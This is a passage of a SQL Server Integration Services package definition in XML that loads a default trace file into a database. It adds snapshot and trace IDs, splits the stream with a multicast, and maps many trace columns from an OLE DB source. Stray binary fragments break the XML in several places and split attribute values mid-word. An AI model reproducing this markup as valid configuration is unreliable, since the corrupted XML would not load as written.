specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived	!!!!!!!!!!!!!!!!!!!!!!!!`3:mVHv Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRV - Add snapshot_id and trace_info_id" usesDispositions="true" validateExternalMetadata="False"><inputs><input refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[trace_info_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[trace_info_id]" name="trace_info_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::TraceInfoID]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::TraceInfoID]</property></properties></outputColumn><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[snapshot_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[snapshot_id]" name="snapshot_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[SnapshotID]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@SnapshotID</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add snapshot_id and trace_info_id.Output	!!!!!!!!!!!!!!!!!!!!!!!!`3: F{Hvs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways" componentClassID="{EC139FBC-694E-490B-8EA7-35690FB0F445}" contactInfo="Multicast;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Creates copies of a dataset." name="MLT - Split two ways"><inputs><input refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways.Inputs[Multicast Input 1]" name="Multicast Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways.Outputs[Multicast Output 1]" deleteOutputOnPathDetached="true" name="Multicast Output 1" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways.Outputs[Multicast Output 2]" deleteOutputOnPathDetached="true" name="Multicast Output 2" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways.Outputs[Multicast Output 3]" dangling="true" deleteOutputOnPathDetached="true" name="Multicast Output 3" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\MLT - Split two ways.Inputs[Multicast Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace" componentClassID="{165A526D-D5DE-47FF-96A6-F8274C19826B}" contactInfo="OLE DB Source;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;7" description="OLE DB Source" name="ODB - Read trace" usesDispositions="true" validateExternalMetadata="False" version="7"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset"/><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="The variable that contains the SQL command to be executed." name="SqlCommandVariable">User::TraceLoadScript</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.String" description="The mappings between the parameters in the SQL command and variables." name="ParameterMapping"/></properties><connections><connection refId="	!!!!!!!!!!!!!!!!!!!!!!!!`3HvPackage\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[TargetConnection]" connectionManagerRefId="Package.ConnectionManagers[TargetConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output]" name="OLE DB Source Output"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TextData]" dataType="nText" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TextData]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TextData]" name="TextData" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BinaryData]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BinaryData]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BinaryData]" name="BinaryData" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DatabaseID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseID]" name="DatabaseID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TransactionID]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TransactionID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TransactionID]" name="TransactionID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LineNumber]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LineNumber]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LineNumber]" name="LineNumber" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTUserName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Out	!!!!!!!!!!!!!!!!!!!!!!!!`30dHvput].ExternalColumns[NTUserName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTUserName]" name="NTUserName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTDomainName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NTDomainName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTDomainName]" name="NTDomainName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[HostName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[HostName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[HostName]" name="HostName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ClientProcessID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ClientProcessID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ClientProcessID]" name="ClientProcessID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ApplicationName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ApplicationName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ApplicationName]" name="ApplicationName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LoginName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginName]" name="LoginName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SPID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SPID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SPID]" name="SPID" truncationRowDisposition="RedirectR	!!!!!!!!!!!!!!!!!!!!!!!!`3sFHvow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Duration]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Duration]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Duration]" name="Duration" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[StartTime]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[StartTime]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[StartTime]" name="StartTime" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EndTime]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EndTime]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EndTime]" name="EndTime" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Reads]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Reads]" name="Reads" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Writes]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Writes]" name="Writes" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[CPU]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[CPU]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[CPU]" name="CPU" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Permissions]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output	!!!!!!!!!!!!!!!!!!!!!!!!`3!p(JHv].ExternalColumns[Permissions]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Permissions]" name="Permissions" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Severity]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Severity]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Severity]" name="Severity" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSubClass]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventSubClass]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSubClass]" name="EventSubClass" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID]" name="ObjectID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Success]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Success]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Success]" name="Success" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IndexID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IndexID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IndexID]" name="IndexID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IntegerData]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData]" name="IntegerData" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace	!!!!!!!!!!!!!!!!!!!!!!!!`3%&Hv.Outputs[OLE DB Source Output].Columns[ServerName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ServerName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ServerName]" name="ServerName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventClass]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventClass]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventClass]" name="EventClass" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectType]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectType]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectType]" name="ObjectType" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NestLevel]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NestLevel]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NestLevel]" name="NestLevel" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[State]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[State]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[State]" name="State" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Error]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Error]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Error]" name="Error" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Mode]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Mode]" lineageId="Package\SEQ - Default trace upload\DFT 	!!!!!!!!!!!!!!!!!!!!!!!!`3)䢶Hv- Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Mode]" name="Mode" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Handle]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Handle]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Handle]" name="Handle" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectName]" name="ObjectName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DatabaseName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseName]" name="DatabaseName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[FileName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[FileName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[FileName]" name="FileName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[OwnerName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerName]" name="OwnerName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RoleName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RoleName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RoleName]" name="RoleName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Ou	!!!!!!!!!!!!!!!!!!!!!!!!`3-wHvtput].Columns[TargetUserName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetUserName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetUserName]" name="TargetUserName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DBUserName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DBUserName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read 